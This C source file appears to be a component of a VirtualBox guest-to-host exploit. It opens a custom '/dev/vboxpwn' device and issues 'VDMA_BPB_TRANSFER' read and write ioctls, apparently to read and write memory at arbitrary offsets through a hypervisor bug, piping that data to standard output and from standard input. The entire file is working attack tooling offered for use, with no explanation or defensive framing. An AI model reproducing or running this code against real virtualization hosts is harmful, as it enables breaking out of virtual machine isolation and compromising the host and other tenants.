| #include <sys/ioctl.h> |
| #include <stdint.h> |
| #include <stdlib.h> |
| #include <unistd.h> |
| #include <string.h> |
| #include <fcntl.h> |
| #include <stdio.h> |
| #include "syncrw.h" |
| #include "pwn.h" |
| |
| #define BUFFER_SIZE 1024 |
| |
| int main(int argc, char **argv) { |
| struct pwn_request req; |
| |
| if(argc < 3) { |
| fprintf(stderr, "Usage: %s {read|write} <offset> [<count>]\n", argv[0]); |
| return -1; |
| } |
| |
| int fd = open("/dev/vboxpwn", O_RDWR); |
| if(fd == -1) { |
| perror("/dev/vboxpwn"); |
| return 1; |
| } |
| |
| if(strcmp(argv[1], "read") == 0) { |
| uint32_t offset = strtol(argv[2], NULL, 0); |
| uint32_t count = argv[3] ? strtoul(argv[3], NULL, 0) : 0xffffffffu; |
| req.offset = offset; |
| req.data = malloc(count > BUFFER_SIZE ? BUFFER_SIZE : count); |
| if(!req.data) { |
| perror("malloc"); |
| return 1; |
| } |
| while(count > BUFFER_SIZE) { |
| req.size = BUFFER_SIZE; |
| if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_READ, &req) == -1) { |
| perror("ioctl"); |
| return 1; |
| } |
| int s = sync_write(STDOUT_FILENO, req.data, BUFFER_SIZE); |
| if(s <= 0) { |
| if(s < 0) perror("write"); |
| return 0; |
| } |
| count -= BUFFER_SIZE; |
| req.offset += BUFFER_SIZE; |
| } |
| req.size = count; |
| fprintf(stderr, "data = %p\n", req.data); |
| if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_READ, &req) == -1) { |
| perror("ioctl"); |
| return 1; |
| } |
| fprintf(stderr, "data = %p\n", req.data); |
| int s = sync_write(STDOUT_FILENO, req.data, count); |
| if(s < 0) perror("write"); |
| return 0; |
| } else if(strcmp(argv[1], "write") == 0) { |
| uint32_t offset = strtol(argv[2], NULL, 0); |
| uint32_t count = argv[3] ? strtoul(argv[3], NULL, 0) : 0xffffffffu; |
| req.offset = offset; |
| req.data = malloc(count > BUFFER_SIZE ? BUFFER_SIZE : count); |
| if(!req.data) { |
| perror("malloc"); |
| return 1; |
| } |
| while(count > BUFFER_SIZE) { |
| int s = sync_read(STDIN_FILENO, req.data, BUFFER_SIZE); |
| if(s <= 0) { |
| if(s < 0) { |
| perror("read"); |
| return 1; |
| } |
| return 0; |
| } |
| req.size = s; |
| if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_WRITE, &req) == -1) { |
| perror("ioctl"); |
| return 1; |
| } |
| count -= s; |
| req.offset += s; |
| } |
| int s = sync_read(STDIN_FILENO, req.data, count); |
| if(s <= 0) { |
| if(s < 0) { |
| perror("read"); |
| return 1; |
| } |
| return 0; |
| } |
| req.size = s; |
| if(ioctl(fd, IOCTL_VBOX_PWN_VDMA_BPB_TRANSFER_WRITE, &req) == -1) { |
| perror("ioctl"); |
| return 1; |
| } |
| return 0; |
| } else { |
| fprintf(stderr, "%s: Unknown subcommand '%s'\n", argv[0], argv[1]); |
| return -1; |
| } |
| } |